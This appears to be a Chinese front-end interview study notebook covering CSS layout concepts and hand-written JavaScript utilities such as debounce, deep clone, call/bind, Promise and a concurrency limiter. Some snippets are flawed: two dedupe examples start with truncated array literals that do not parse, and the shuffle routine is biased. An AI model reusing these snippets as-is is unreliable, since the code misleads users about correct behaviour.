笔记本

2,027 阅读33分钟

CSS:

calc, support, media各自的含义及用法?

calc:

这玩意是css的一个可以用来计算长度的属性,支持混合运算(比如 % px em) 比如说你计算个宽度 width:100%;padding:0 20px;

在标准盒模型下,这个盒子的宽度就会超过父元素的宽度40px,但是往往这并不是我们想要的,我们想要刚刚好的感觉(width+padding左右 === 父元素宽度),于是就可以使用calc,如下: width:calc(100% - 40px),padding:0 20px
这样宽度就可以了。

support:

用来条件判断浏览器是否支持某种CSS属性,如果支持可以使用一套自定义样式,不支持也可以使用另外一套样式

使用方法:
1.如果浏览器支持display:flex,则使用样式div { display:flex; }: support实现(基础用法):

@supports (display: flex) { 
     div { 
            display: flex;
         }
}

2.如果浏览器不支持display:flex,则使用样式div { display:none; }: support实现(not用法):

@supports not (display: flex) { 
     div { 
            display: none;
         }
}

3.如果浏览器支持display:flexmargin:10px, 则使用样式div { display:none; margin:10px; }: support实现(and用法):

@supports  (display: flex) and (margin:10px) { 
     div { 
            display: none;
            margin:10px;
         }
}

3.如果浏览器支持display:flexmargin:10px, 则使用样式div { display:none;margin:10px; }: support实现(or用法):

@supports  (display: flex) or (margin:10px) { 
     div { 
            display: none;
            margin:10px;
         }
}

media:

@media 查询,你可以针对不同的媒体类型、不同的屏幕尺寸设置不同的样式,特别是如果你需要设置设计响应式的页面,@media 是非常有用的。

使用方法 :

@media mediatype and|not|only (media feature) {
    CSS-Code;
}

具体实现 (在屏幕最大宽度小于等于300px启用 body {background-color:lightblue;}样式):

@media screen and (max-width: 300px) {
    body {
        background-color:lightblue;
    }
}

mediatype:媒体类型 此处'screen'
and|not|only:使用不同逻辑运算符 此处'and'
media feature:媒体特征 此处'max-width: 300px'

详细使用见:CSS3 @media 查询

rem、em、vh、px各自代表的含义?

rem

rem是全部的长度都相对于根元素<html>元素。通常做法是给html元素设置一个字体大小,然后其他元素的长度单位就为rem。

换算方式: rem=px/base_px(html字体大小)

比如:浏览器html元素默认字号16px(当然你也可以修改),那么

    .div {
        width: 1rem; /* 16px (1rem = 16px/16px ) */
        height: 2rem /* 32px (2rem = 32px/16px) */
    }

(32px/16px = 2rem) 。

em

  • 子元素字体大小的em是相对于父元素字体大小
  • 元素的width/height/padding/margin用em的话是相对于该元素的font-size

举个例子:

  <div class="parent">
    <div class="son">

    </div>
  </div>
.parent {
  font-size: 20px;
  width: 10em;      /* 200px */
  height: 10em;     /* 200px */
  background-color: #ff0;
}
.son {
  font-size: 0.5em; /* 10px */
  width: 10em;      /* 100px */
  height: 10em;     /* 100px */
  background-color: #f0f;
}

vw/vh

全称是 Viewport Width 和 Viewport Height,视窗的宽度和高度,相当于 屏幕宽度和高度的 1%,不过,处理宽度的时候%单位更合适,处理高度的 话 vh 单位更好。

1vw === 屏幕的宽度1%(屏幕宽度1920px,那么1vw就是19.2px)

px

px像素(Pixel)。相对长度单位。像素px是相对于显示器屏幕分辨率而言的。

一般电脑的分辨率有{1920*1024}等不同的分辨率

1920*1024 前者是屏幕宽度总共有1920个像素,后者则是高度为1024个像素

盒模型

CSS的一种思维模型,可以看做成一个盒子,由content内容,padding内边距区域,border边框,margin外边距构成。

盒模型分为两种 标准盒模型 与怪异盒模型(当我们写了的声明的时候,无论在哪种内核的浏览器下盒子模型都会被解析为 标准盒模型)

标准盒模型(box-sizing:content-box):总宽度:width+padding+border(也就是说content===width)
怪异盒模型(box-sizing:border-box):总宽度:width(也就是说width = border+padding+content)

垂直居中方法

子元素定宽高,父元素相对定位(父元素需设置position:relative)

定位+margin:auto

      width: 100px;
      height: 100px;
      background-color: orange;
      position: absolute;
      left: 0;
      top: 0;
      right: 0;
      bottom: 0;
      margin: auto;

定位+负margin:

     width: 100px;
     height: 100px; 
     position: absolute;
     left: 50%;
     top: 50%;
     margin-left: -50px;
     margin-top: -50px;

定位+calc (top的百分比是基于元素的左上角,那么在减去宽度的一半)

     width: 100px;
      height: 100px;
      background-color: orange;
      position: absolute;
      top: calc(50% - 50px);
      left: calc(50% - 50px);

居中元素不定宽高

定位+translate(css3新增的transform,transform的translate属性也可以设置百分比,其是相对于自身的宽和高,所以可以讲translate设置为-50%,就可以做到居中)

      width: 100px;
      height: 100px;
      background-color: orange;
      position: absolute;
      left: 50%;
      top: 50%;
      transform: translate(-50%, -50%);

flex+align-items(简单灵活方便,个人最常用,注意align-content针对于多行次轴生效,所以这里如果是多行则可以使用)

 <div style="width: 100px;height: 100px;background-color: yellowgreen;display: flex;flex-direction: row;;justify-content: center;align-items: center;">
        <div style="width: 50px;height: 50px;background-color: teal;"></div>
 </div>

flex+margin:auto

 <div style="width: 100px;height: 100px;background-color: yellowgreen;display: flex;">
        <div style="width: 50px;height: 50px;background-color: teal;margin: auto;"></div>
 </div>

flex+子元素align-self:center

<div style="width: 100px;height: 100px;background-color: yellowgreen;display: flex;justify-content: center;">
        <div style="width: 50px;height: 50px;background-color: teal;align-self: center;"></div>
</div>

尝试使用lineheight+vertical-align:middle

三栏布局

要求:左右宽度(假如左右宽度为300px),整个高度已知(假如高度为100px),中间宽度自适应

使用flex布局

<div style="width: 100%;height: 100px;background-color: teal;margin-bottom: 100px;display: flex;flex-direction: row;">
    <div style="width: 300px;height: 100%;background-color: tan;">1</div>
    <div style="flex:1; background-color: yellow;border: blanchedalmond solid 10px;">2</div>
    <div style="width: 300px;height: 100%;background-color: tan;"></div>
</div>

使用float

<div style="width: 100%;height: 100px;background-color: teal;margin-bottom: 100px">
    <div style="width: 300px;height: 100%;background-color: tan; float: left;">1</div>
    <div style="width: 300px;height: 100%;background-color: tan; float: right;">3</div>
    <div style="height: 100%; margin: 0 300px;background-color: blue;">2</div>
</div>

使用绝对定位(类似于float方法)

<div style="width: 100%;height: 100px;background-color: teal;margin-bottom: 100px;position: relative;">
    <div style="width: 300px;height: 100%;background-color: tan;position: absolute;top: 0;left: 0;">1</div>
    <div style="width: 300px;height: 100%;background-color: tan;position: absolute;top: 0;right: 0;"">3</div>
    <div style=" height: 100%; margin: 0 300px;background-color: blue">2</div>
</div>

圣杯布局

注释:
(1)中间部分需要根据浏览器宽度的变化而变化,所以要用100%,这里设左中右向左浮动,因为中间100%,左层和右层根本没有位置上去

(2)把左层margin负100后,发现left上去了,因为负到出窗口没位置了,只能往上挪

(3)按第二步这个方法,可以得出它只要挪动窗口宽度那么宽就能到最左边了,利用负边距,把左右栏定位

(4)但由于左右栏遮挡住了中间部分,于是采用相对定位方法,各自相对于自己把自己挪出去,得到最终结果

<div
    style="padding-left: 100px;padding-right: 100px;box-sizing: border-box;width: 100%;height: 100px">
    <div style="width: 100%;height: 100%;background-color: darkgray;float: left;">Main</div>
    <div style="float: left;width: 100px;height: 100%;background-color: rebeccapurple;margin-left: -100%;position: relative;left: -100px;">Left</div>
    <div style="float: left;width: 100px;height: 100%;background-color: rebeccapurple;margin-left: -100px;position: relative;right: -100px;">Left</div>
</div>

双飞翼布局

 <div style="width: 100%;height: 100px;background-color: rebeccapurple;">
    <div style="width: 100%;height: 100%;float: left;background-color: salmon;">
        <div style="margin: 0 100px;background-color: red;height: 100%;">1</div>
    </div>
    <div style="width: 100px;height: 100%;float: left;background-color:seagreen;margin-left: -100%;">left</div>
    <div style="width: 100px;height: 100%;float: left;background-color:darkgray;margin-left: -100px;">right</div>
</div>

参考:CSS三栏布局的四种方法

选择器权重计算方式

!important>内联样式>ID选择器>类选择器>标签选择器>通配符选择器

如何比较权重大小?

如果层级相同,继续往后比较,如果出现层级不同,层级高的权重大,不论低层级有多少个选择器。

清除浮动的方法

见我写的另一篇文章:清除浮动两种方法(使用clear属性与生成BFC)深入,让你明白为啥这样就可以清除浮动。

flex布局

详解CSS的Flex布局

什么是BFC、可以解决哪些问题

BFC:BFC(Block formatting context)直译为"块级格式化上下文"。它是一个独立的渲染区域,只有Block-level box参与, 它规定了内部的Block-level Box如何布局,并且与这个区域外部毫不相干。 (引用掘金《史上最全面、最透彻的BFC原理剖析》的定义)

  • 生成BFC
    1,根元素
    2,float不为none
    3,overflow不是visible
    4,position不是static relative
    5,display为inline-block,table-cell
  • 规则
    1,同一个BFC内的盒子垂直方向一个接一个放置,从包含块顶部开始。 2,兄弟盒子之间的垂直距离由margin决定
    3,相邻块盒子之间的垂直外边距会发生合并,完整的说法是:属于同一个BFC的两个相邻Box的margin会发生重叠(塌陷),与方向无关。(详见下面代码及图)
    4,每个元素的左外边距与包含块的左边界相接触(从左向右),即使浮动元素也是如此。(这说明BFC中子元素不会超出他的包含块,而position为absolute的元素可以超出他的包含块边界) 5,BFC的区域不会与float的元素区域重叠 6,计算BFC的高度时,浮动子元素也参与计算 7,BFC就是页面上的一个隔离的独立容器,容器里面的子元素不会影响到外面元素,反之亦然

非BFC

 <div style="width: 100%;height: 400px;background-color: black;margin: 0;">
    <div style="width: 100px;height: 100px;margin: 20px 0 20px;background-color: blanchedalmond;"></div>
    <div style="width: 100px;height: 100px;margin: 20px 0 20px;background-color: rebeccapurple;"></div>
</div>

在非BFC情况下可以看到父元素margin为0,第一个子元素margin-top:20px,父元素会被顶起来,与此同时第一个子元素margin-bottom:20px,第二个子元素margin-top:20px,实际二者间间距是20px;而不是40px

BFC(上一段代码的父元素添加了display: inline-block;其他都没变)

 <div style="width: 100%;height: 400px;background-color: black;margin: 0;display: inline-block;">
    <div style="width: 100px;height: 100px;margin: 20px 0 20px;background-color: blanchedalmond;"></div>
    <div style="width: 100px;height: 100px;margin: 20px 0 20px;background-color: rebeccapurple;"></div>
</div>

由于BFC内部元素不会影响到外部,所以第一个子元素margin-top顶的是父元素的边框,而不是外面的边框(并且内部元素与外部元素互不干扰影响。特性),然而两个相邻子元素的margin发生重叠(相邻块盒子之间的垂直外边距会发生合并特性)。

position属性

css面试点-css的position属性

如何实现一个自适应的正方形

1,使用vw()

  <div style="width: 25%;height: 25vw;background-color:black"></div>

2,使用padding

 <div style="width: 25%;height: 0;padding-bottom: 25%;background-color:#ff0"></div>

·如何用css实现一个三角形

<div style="width: 0;height: 0;border: 100px solid rebeccapurple;border-left-color: rgba(255, 255, 255, 0);border-right-color: rgba(255, 255, 255, 0);border-top-color: rgba(255, 255, 255, 0)"></div>

手写题:

版本号数组 ['1.0.0', '1.0.0', '1.45.0', '1.5.0', '3.3.3.3.3.3', '0.1']排序 从小到大 '1.45.0'>'1.5.0'

 let versions = ['1.0.0', '1.0.0', '1.45.0', '1.5.0', '3.3.3.3.3.3', '0.1']
        function sortVersion(list) {
            return list.sort((a, b) => {
                let aa = a.split('.')
                let bb = b.split('.')
                let length = aa.length > bb.length ? aa.length : bb.length
                for (let i = 0; i < length; i++) {
                    let x = aa[i] || 0
                    let y = bb[i] || 0
                    if (x - y !== 0) return x - y
                }
            })
        }

        console.log(sortVersion(versions));

form表单提交与ajax区别

  • 表单提交如果最终返回时html页面,将会跳转到该页面,ajax若不做处理则不会
  • 表单提交如果不设置method属性默认为get,否则为设置的提交方式,ajax则需要在ajax方法内设置这些提交方式
  • form 表单 content-type是application/x-www-form-urlencoded,ajax一般是application/json,也可以自己设置
  • form表单提交按钮type:submit便可以自动提交,ajax需要自定义提交方法,手动提交。

JS 单例模式实现

// 怕重写版单例模式 修改Single.instance就会有问题
class Single {
    constructor(name) {
        this.name = name
        if (Single.instance) return Single.instance
        Single.instance = this
    }
}

// 不怕重写版本单例模式  
function Sig(name) {
    this.name = name
    const instance = this
    Sig = function () {
        return instance
    }
    Sig.prototype = this.constructor.prototype
}

发布订阅

//    发布订阅
class EventEmmitter {
  constructor() {
    this.events = {}
  }
  on(name, fn) {
    if (this.events[name]) {
        this.events[name].push(fn)
    } else {
        this.events[name] = [fn]
    }
  }
  emit(name, ...rest) {
    const cbList = this.events[name]
    cbList && cbList.forEach(fn => fn.apply(this, rest))
  }
  remove(name, fn) {
    this.events[name] && (this.events[name] = this.events[name].filter(f => f !== fn))
  }
  once(name, fn) {
    const newFn = (...args) => {
         fn(...args), this.remove(name, newFn)
    }
    this.on(name, newFn)
  }
}



js获取 设置 删除cookie

	// 获取cookie的value (cookie 由 name = value; 形式保存 )
      function getCookie(name) {
          // name: 按name查找cookie的value
          const cookie = document.cookie
          // 匹配以name开头 ;结尾的字符串 作为返回的值 
          return cookie.match(new RegExp(`(?<=${name}=)[^;]*`, 'g')) || null
      }
      
	// 设置cookie
      function setCookie(name, value, second = 86400) {
          // name: 设置cookie的name
          // value: 设置cookie的nvalue
          // second: 设置超时时间 默认一天 86400s
          const date = new Date
          date.setTime(date.getTime() + second * 1000)
          document.cookie = `${name}=${value};expires=${date.toGMTString()};`

      }
	// 删除cookie
      function deleteCookie(name) {
          // 将超时时间设置比当前时间小 
          // 同name 同value覆盖原来的cookie  
          // 则cookie会被删除
          const value = getCookie(name)
          if (value) {
              const date = new Date
              date.setTime(date.getTime() - 1)
              document.cookie = `${name}=${value};expires=${date.toGMTString()};`
          }
      }

防抖和节流

节流:(规定时间内执行一次,比如拖动鼠标执行某一方法,可以在规定时间内只执行一次这样)

    function throttle_(fn, delay) {
        let timer = null
        return function () {
            if (!timer) {
                timer = setTimeout(() => {
                    fn()
                    timer = null
                }, delay);
            }
        }
    }

防抖:(比如连续输入框输入触发函数,现在限制不连续触发该回调,使用防抖,比如输入间隔大于1000ms时触发)

function debounce(fn, delay = 1000, im = true) {
            // im 是否先执行 true 意味着抖动函数第一个执行 后面抖动将禁止
            // false 意味着 连续抖动函数最后一个执行 前面禁止
            // ---thanks for 北风念落叶
            let timer = null
            let flag = true
            return function () {
                timer && clearTimeout(timer)
                if (im) {
                    if (flag) {
                        flag = false
                        fn()
                    }
                    timer = setTimeout(() => {
                        timer = null
                        flag = true
                    }, delay);
                } else {
                    timer = setTimeout(() => {
                        fn()
                        timer = null
                    }, delay);
                }
            }
        }

深拷贝

封装函数,递归实现

      function deepClone(value) {
        let data
        if (value instanceof Array) {
            data = []
            for (let key in value) {
                data[key] = deepClone(value[key])
            }
        } else if (value instanceof Function) {
            data = value
        } else if (value instanceof Object) {
            data = {}
            for (let key in value) {
                data[key] = deepClone(value[key])
            }
        } else {
            data = value
        }
        return data
    }
    let arr_ = [1, null, undefined,NaN, () => { }, 3, {}, { a: 1, b: 2, c: { d: 1, f: 2, e: [1, 2, 3, { g: 10 }] } }]
    let newArr = deepClone(arr_)
    arr_[0] = 10
    arr_[7].a = 10
    console.log(arr_, newArr)

使用JSON.stringfy & JSON.parse (负面影响:函数 undefined NaN 会被转为null)

let arr_ = [1, null, undefined,NaN, () => { }, 3, {}, { a: 1, b: 2, c: { d: 1, f: 2, e: [1, 2, 3, { g: 10 }] } }]
let newArr = JSON.parse(JSON.stringify(arr_))
arr_[0] = 10
arr_[7].a = 10
console.log(arr_, newArr)

拷贝原型,拷贝属性,拷贝属性对象完成拷贝(对于对象里的引用类型还是无法完成深拷贝,真要深拷贝,还得看递归的!)

  let obj_temp = { a: 1, b: 2, c: [12, 34, 56], d: { e: 5 }, f: NaN, g: undefined, h: null }
    function deepClone03(obj) {
        // 新建空拷贝对象,其原型通过bject.create设置为obj的原型对象
        let copy = Object.create(Object.getPrototypeOf(obj))
        // 获取obj对象上的所有属性
        let propNames = Object.getOwnPropertyNames(obj)
        propNames.forEach(e => {
            // 返回obj每个属性的描述对象
            let item = Object.getOwnPropertyDescriptor(obj, e)
            // 将属性,属性的描述对象放到空拷贝对象中
            Object.defineProperty(copy, e, item)
        })
        // 返回拷贝对象
        return copy
    }
    console.log(obj_temp)
    let copy_obj = deepClone03(obj_temp)
    obj_temp.a = 11
    obj_temp.c[0] = 1212
    obj_temp.d.e = 55
    console.log(obj_temp, copy_obj)

数组去重

使用Set,方便快捷

let arr = [1, 2, 3, 4, 3, 4, 5, 6, 3, 1, 5,null,undefined,NaN,null,undefined,NaN]
let newArr = [...new Set(arr)]
console.log(newArr)

对象key去重

let arr = [1, 2, 3, 4, 3, 4, 5, 6, 3, 1,
function removeDuplication1(arr) {
    let obj = {}
    let newArr = []
    for (let value of arr) {
        if (!obj[value]) {
            obj[value] = 1
            newArr.push(value)
        }
    }
    return newArr
}
console.log(removeDuplication1(arr))

indexOf 去重

let arr = [1, 2, 3, 4, 3, 4, 5, 6, 3, 1,
function removeDuplication2(arr) {
    let newArr = []
    for (let value of arr) {
        if (newArr.indexOf(value) === -1) {
            newArr.push(value)
        }
    }
    return newArr
}
console.log(removeDuplication2(arr))

数组乱序

sort 随机排序(这种方法不是很彻底随机,原因见下)

function shuffle_sort(arr) {
    return arr.sort(() => (Math.random() - 0.5))
}
let arr_01 = [1, 2, 3, 4, 5, 6]
console.log(shuffle_sort(arr_01))

洗牌算法

function shuffle(arr) {
    for (let i = arr.length - 1; i > 0; i--) {
        let changeI = Math.floor(Math.random() * i)
        console.log(changeI);
        [arr[i], arr[changeI]] = [arr[changeI], arr[i]]
    }
    return arr
}
let arr_02 = [1, 2, 3, 4, 5, 6]
console.log(shuffle(arr_02))

手写call、apply、bind

my_call

Function.prototype.my_call = function (thisArg, ...args) {
    // thisArg 不存在的话 this就指向window
    thisArg = thisArg || window
    // 防止属性名覆盖原先对象中某个属性
    let fn = Symbol('fn')
    // 调用my_call是我们需要改变this指向的函数,将这个函数赋值给thisArg.fn,这样fn的this指向在下面【 thisArg.fn(...args)】指向指定的对象thisArg
    thisArg.fn = this
    let result = thisArg.fn(...args)
    // 使用完毕删除fn,不影响指定函数数据
    delete thisArg.fn
    // 返回数据
    return result

}
function say(word = 'yeah') {
    console.log(this)
    console.log(word)
}
say.my_call({ name: 1 }, 'aha')

my_apply (与call只是在入参表现有所不同,改一下就好了)

Function.prototype.my_apply = function (thisArg, args) {
    // thisArg 不存在this指向window
    thisArg = thisArg || window
    // 防止属性名覆盖原先对象中某个属性
    let fn = Symbol('fn')
    // 调用my_apply是我们需要改变this指向的函数,将这个函数赋值给thisArg.fn,这样fn的this指向在下面【 thisArg.fn(...args)】指向指定的对象thisArg
    thisArg.fn = this
    let result = thisArg.fn(...args)
    // 使用完毕删除fn,不影响指定函数数据
    delete thisArg.fn
    // 返回数据
    return result

}
function say(word = 'yeah') {
    console.log(this)
    console.log(word)
}
say.my_apply({ name: 1 }, ['aha'])

my_bind

Function.prototype.bind_ = function (that, ...args) {
    const excutor = this
    const fn = function () {
      // 如果当前函数fn的this instanceof fn 为true,意味着当前函数被new,this需要指向当前函数new出来的对象
      const self = this instanceof fn ? this : that
      // 如果fn确实被new了,由于fn的this传入excutor,执行excutor里面的this.xxx = xxx, 这里的this将会是new fn出来的对象,所以this.xxx 最终都会挂在fn的实例上
      excutor.call(self, ...args)
    }
    fn.prototype = this.prototype
    return fn
}
    function say(word = 'yeah') {
        console.log(this)
        console.log(word)
    }
    let test_obj = { name: 1 }
    console.log(test_obj, 'ring')
    let newfn = say.bind_(test_obj, 'aha')
    newfn()
    console.log(test_obj, 'ring')

继承(ES5/ES6)

ES5

原型链继承(下面两段代码继承方式都是原型链继承,在赋值的时候不一样,最后输出结果也不一样)

```
// 原型链继承
function Human() {
    this.hobby = ['eat']
}
Human.prototype.location = ['Earth']
function Man(name) {
    this.name = name
    this.activity = ['run']
}
Man.prototype = new Human()
Man.prototype.constructor = Man

// 实现 
let man1 = new Man('💐')
let man2 = new Man('coco')
man1.hobby.push('sing')
man1.activity.push('sleep')
man1.location.push('China')
console.log(man1);
console.log(man2);
```

图一

// 原型链继承	
    function Human() {
        this.hobby = ['eat']
    }
    Human.prototype.location = ['Earth']
    function Man(name) {
        this.name = name
        this.activity = ['run']
    }
    Man.prototype = new Human()
    Man.prototype.constructor = Man

    // 实现
    let man1 = new Man('💐')
    let man2 = new Man('coco')
    man1.hobby = 'sing'
    man1.activity = 'sleep'
    man1.location = 'China'
    console.log(man1);
    console.log(man2);

图二

上图一:man1修改父级属性(man1.hobby.push('sing'))以及父级原型链上的属性(man1.location.push('China'))都会影响到所有当前子构造函数实例化的对象(man1,man2),归根结底每个子构造函数实例化的对象(man1,man2)其原型都指向用一个原型对象(newHuman()),当(man1)修改原型对象(newHuman())的数据会影响到其他指向该原型对象(newHuman())的家伙(man2)

上图二:man1修改父级属性(man1.hobby='sing')以及父级原型链上的属性( man1.location='China')只影响man1,并没有影响到man2,我个人理解是man1.location.push('China')实际上会调用对象属性的防蚊起属性中的get,而man1.location='China'调用的是set,当调用set的时候就不会取原型链上找数据,直接设置当前实例对象(man1),get的话才会一层一层向上找(应该是在对象属性的访问器属性get,set做了处理)

借用构造函数继承

// 构造函数继承
function Human(name) {
    this.name = name
    this.hobby = ['eat']
}
Human.prototype.location = ['Earth']
function Man(name) {
    Human.call(this, name)
    this.activity = ['run']
}
// 实现
let man1 = new Man('💐')
let man2 = new Man('coco')
man1.hobby.push('sleep')
man1.activity.push('sing')
man1.location = 'China'
console.log(man1);
console.log(man2);

缺点:父级原型上的东西无法继承

原型链+借用构造函数继承

 // 构造函数+原型链继承
function Human(name) {
    this.name = name
    this.hobby = ['eat']
}
function Man(name) {
    Human.call(this, name)
    this.activity = ['run']
}
Man.prototype = new Human()
Man.prototype.constructor = Man

let man1 = new Man('kiki')
let man2 = new Man('gigi')
man1.name = 'kk'
man1.activity.push('ring')
man1.hobby.push('sleep')
console.log(man1, man2)

缺点:每次都得调用两次父构造函数:一次是在创建子类型原型的时候,另一次是在子类型构造函数内部。

原型式继承

 // 原型式继承
let human = {
    hobby: ['eat']
}
let man = Object.create(human, {
    name: {
        value:'xio'
    }
})
console.log(man);

寄生继承

 function createObj(obj) {
    var clone = Object(obj)
    clone.hobby = ['sing', 'jump']
    return clone
}
let human = {
    activity: ['exit']
}
let man1 = createObj(human)
console.log(man1);

寄生组合继承(借用 构造+原型链继承太过冗余 我们无非是想要父的原型对象,那就在这里面实现)

 // 寄生组合式继承
function Human(name) {
    this.name = name
    this.hobby = ['sing', 'jump']
}
function Man(name) {
    Human.call(this, name)
    this.activity = ['rap']
}
let prototype_clone = Object.create(Human.prototype)
// 下面就是正常的修改prototype构造器 然后给Man一个改造之后的父的原型对象
prototype_clone.constructor = Man
Man.prototype = prototype_clone
let man1 = new Man('kiki')
let man2 = new Man('gigi')
man1.name = 'kk'
man1.activity.push('ring')
man1.hobby.push('sleep')
console.log(man1, man2)

ES6继承

 class Human {
    constructor(name) {
        this.name_ = name || 'human'
        this.activity = 'sleep'
    }
    run(time) {
        console.log(this)
        console.log(`at ${time},${this.name_} is ${this.activity}ing`);
    }
    static fight() {
        console.log(this);
        console.log(`${this.name} kill others`);
    }
}
class Man extends Human {
    constructor(name, food) {
        super(name)
        this.food = food
    }
}

let man1 = new Man('newman', 'apple')
console.log(man1);

sleep函数

while

function sleep(time) {
    let date = new Date()
    while (new Date() - date < time) {

    }
    console.log(date, new Date(), new Date() - date);
}
console.log(1)
sleep(2000)
console.log(2)

如果可以用async 函数

function sleep1(interval) {
    return new Promise(resolve => {
        setTimeout(resolve, interval);
    })
}
async function run() {
    console.log('prepare')
    await sleep1(2000)
    console.log('run')
}
run()

实现promise

// 定义Promise三种状态
const PENDING = 'pending', FULFILLED = 'fulfilled', REJECTED = 'rejected';
class MyPromise {
    constructor(excutor) {
        this.status = PENDING
        this.value = undefined
        this.reason = undefined
        this.resolveList = []
        this.rejectList = []
        // resolve将Promise 状态变为成功 保存成功的值 处理then成功回调
        const resolve = value => {
            if (this.status === PENDING) {
                this.status = FULFILLED
                this.value = value
                this.resolveList.forEach(fn => fn())
            }
        }
        // reject将Promise 状态变为失败 保存失败原因 处理then失败回调
        const reject = reason => {
            if (this.status === PENDING) {
                this.status = REJECTED
                this.reason = reason
                this.rejectList.forEach(fn => fn())
            }
        }
        try {
            excutor(resolve, reject)
        } catch (error) {
            reject(error)
        }
    }
    then(resolveFn, rejectFn) {
        resolveFn = typeof resolveFn === 'function' ? resolveFn : value => value
        rejectFn = typeof rejectFn === 'function' ? rejectFn : err => { throw err }
        let bridgePromise
        return bridgePromise = new MyPromise((resolve, reject) => {
            if (this.status === FULFILLED) {
                setTimeout(() => {
                    try {
                        const x = resolveFn(this.value)
                        resolvePromise(bridgePromise, x, resolve, reject)
                    } catch (error) {
                        reject(error)
                    }
                }, 0);
            }
            if (this.status === REJECTED) {
                setTimeout(() => {
                    try {
                        const x = rejectFn(this.reason)
                        resolvePromise(bridgePromise, x, resolve, reject)
                    } catch (error) {
                        reject(error)
                    }
                }, 0);
            }
            if (this.status === PENDING) {
                this.resolveList.push(_ => {
                    setTimeout(() => {
                        try {
                            const x = resolveFn(this.value)
                            resolvePromise(bridgePromise, x, resolve, reject)
                        } catch (error) {
                            reject(error)
                        }
                    }, 0);
                })
                this.rejectList.push(_ => {
                    setTimeout(() => {
                        try {
                            const x = rejectFn(this.reason)
                            resolvePromise(bridgePromise, x, resolve, reject)
                        } catch (error) {
                            reject(error)
                        }
                    }, 0);
                })
            }
        })
    }
    catch(cb) {
        return this.then(null, cb)
    }
}
// 处理x
function resolvePromise(bridgePromise, x, resolve, reject) {
    if (bridgePromise === x) return reject(new TypeError('circle error'))
    if (x !== null && (typeof x === 'object' || typeof x === 'function')) {
        let called = false
        try {
            const then = x.then
            if (typeof then === 'function') {
                then.call(x,
                    y => {
                        if (called) return
                        called = true
                        resolvePromise(bridgePromise, y, resolve, reject)
                    },
                    err => {
                        if (called) return
                        called = true
                        reject(err)
                    }
                )
            } else {
                resolve(x)
            }
        } catch (error) {
            if (called) return
            called = true
            reject(error)
        }
    } else {
        resolve(x)
    }
}

// 执行测试用例需要用到的代码 promises-aplus-tests 
MyPromise.deferred = function () {
    let defer = {};
    defer.promise = new MyPromise((resolve, reject) => {
        defer.resolve = resolve;
        defer.reject = reject;
    });
    return defer;
}
try {
    module.exports = MyPromise
} catch (e) { }

实现promise.all

 Promise.myAll = function (arr) {
        // 结果保存数组
        let resArr = []
        // 计数器 判断当前arr是否then完
        let promiseCount = 0
        // 返回一个新的Promise,如果arr某提个失败则该Promise结果为失败,如果全部成功则为成功,
        return new Promise((resolve, reject) => {
            arr.forEach((e, i) => {
                e.then(value => {
                    // 此处得用下标赋值 保证返回出去的数据顺序与传入Promise数组一致
                    resArr[i] = value
                    promiseCount++
                    if (arr.length === promiseCount) {
                        return resolve(resArr)
                    }
                }, err => { return reject(err) })
            })
        })
    }

实现promise.retry

  Promise.retry = function (fn, count) {
        // 接受一个制造Promise的函数 与重试次数 返回Promise
        return new Promise((resolve, reject) => {
            // 使用递归方式执行fnTemp : 在count次数内 判断如果fn生成的Promise最终状态不是成功 则继续回调 fn继续生成新的Promise 直到成功 或者次数用完直接reject(err)
            function fnTemp() {
                fn().then(resolve, err => {
                    console.log(count);
                    count--
                    if (count > 0) {
                        return fnTemp()
                    }
                    reject(err)
                })
            }
            fnTemp()
        })
    }
    // 随意Promise 生成函数器械
    function randomP() {
        return new Promise((resolve, reject) => {
            return Math.random() > 0.5 ? resolve('success') : reject('err')
        })
    }
    // 使用
    Promise.retry(randomP, 5).then(e => { console.log(e) }).catch(err => { console.log(err); })

将一个同步callback包装成promise形式

// 回调函数
function killHater(param1, param2, cb) {
    let res = param1 + param2
    cb(res)
}
// 正常回调执行
killHater(1, 3, (e) => { console.log(e, '回调函数执行') })
// --------------------- Promise方式执行
// 封装 回调=》Promise 函数
function changeP(fn) {
    return function () {
        // 拿到所有除了回调之外的参数
        let args = [...arguments]
        // 返回Promise
        return new Promise((resolve, reject) => {
            // 添加自定义回调 将fn传入的值保存到当前Promise value中,从而可以在then中获取
            function cb(e) {
                resolve(e)
            }
            // 将回调放到参数列表中
            args.push(cb)
            // fn执行,前面的参数都是普通参数,最后一个是我们自定义回调,该回调作用:当fn执行到该回调意味着我们可以把fn传入的值(如果有的话,没有就是undefined)resolve,我们可以在then中接收,然后处理我们原先回调中的事
            fn.apply(null, args)
        })
    }
}
let fnP = changeP(killHater)
fnP(2, 3).then(e => { console.log(e, 'Promise执行'); })

写一个函数,可以控制最大并发数

 // ---控制最大并发数MaxRun实现---
function MaxRun() {
    // 任务队列
    this.runList = []
    // 最大并发数
    this.maxCount = 2
}
// 添加任务方法
MaxRun.prototype.add = function (args) {
    Array.prototype.push.apply(this.runList, args)
}
// 跑起来
MaxRun.prototype.run = function () {
    // 如果任务队列没有任务 return
    if (this.runList.length === 0) return
    // 任务队列
    let runList = this.runList
    // // 最大并发数
    // let maxCount = this.maxCount
    // 取任务队列数与最大并发数最小值 作为下面任务任务运行数量
    let min = Math.min(runList.length, this.maxCount)
    // for循环运行起来
    for (let i = 0; i < min; i++) {
        // 运行一次maxCount--,因为Promise是微任务,当min次之后,此时每一个Promise都还没开始then

        // maxCount为最后剩余的能添加任务的坑位,因为maxCount 与 任务队列长度取最小值 
        // 如果maxCount比任务队列长度小 那么maxCount在这一波for循环结束就会为0,此时意味着没有任务可以继续执行
        // 如果maxCount比任务队列长度大 那么maxCount在这一波for循环结束就会是maxCount-队列长度,剩下多少就意味着还有多少坑位可以来任务执行

        // 
        this.maxCount--
        // 任务队列取一个出来then,原任务队列削减一个任务
        let task = runList.shift()
        // 成功失败该干啥干啥 最后执行完一个要将maxCount++ 将用完的坑位让出来 可以有别的任务进来
        task.then(e => e, err => err).finally(e => {
            this.maxCount++
            console.log('剩余坑位', this.maxCount);
            // 执行run 意味着只要有坑位 队列有数据 就能一直执行队列 如果不执行run (如果任务队列长度是10 maxcount是2,那没执行2次就结束了 后面的任务不会继续执行)
            this.run()
        })
    }

}
// ---下面为测试代码---
// Promise生成器
function createP(n) {
    let res = []
    for (let i = 0; i < n; i++) {
        res.push(new Promise(resolve => { setTimeout(() => { resolve(1000 * i / 2) }, 1000 * i / 2) }))
    }
    return res
}
// 创建maxRun对象
let maxRun = new MaxRun()
// 添加10个Promise任务到任务队列
maxRun.add(createP(10))
// 执行任务队列
maxRun.run()

jsonp的实现

使用node手撕jsonp跨域

  • eventEmitter(emit,on,off,once) (代码不是很复杂 就不写注释了 )
